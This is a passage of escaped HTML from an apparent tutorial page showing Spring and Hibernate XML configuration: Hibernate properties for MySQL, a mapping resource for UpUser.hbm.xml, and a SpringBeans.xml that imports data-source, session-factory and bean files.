&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernateProperties&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;props&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;key&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.dialect&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;org.hibernate.dialect.MySQLDialect&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;key&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.show_sql&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;key&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.connection.zeroDateTimeBehavior&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;convertToNull&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;props&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;mappingResources&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;list&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;com/test/lab/model/UpUser.hbm.xml&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;list&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 6.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;b&gt;&amp;nbsp;resources/config/SpringBeans.xml&lt;/b&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;background: silver; color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-highlight: silver;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.springframework.org/schema/beans&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xmlns:xsi&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xsi:schemaLocation&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.springframework.org/schema/beans&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;!--
  Database Configuration --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;resource&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;spring/DataSource.xml&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;resource&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;spring/HibernateSessionFactory.xml&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;!-- Beans
  Declaration --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;resource&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;../com/test/lab/spring/UpUserBean.xml&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
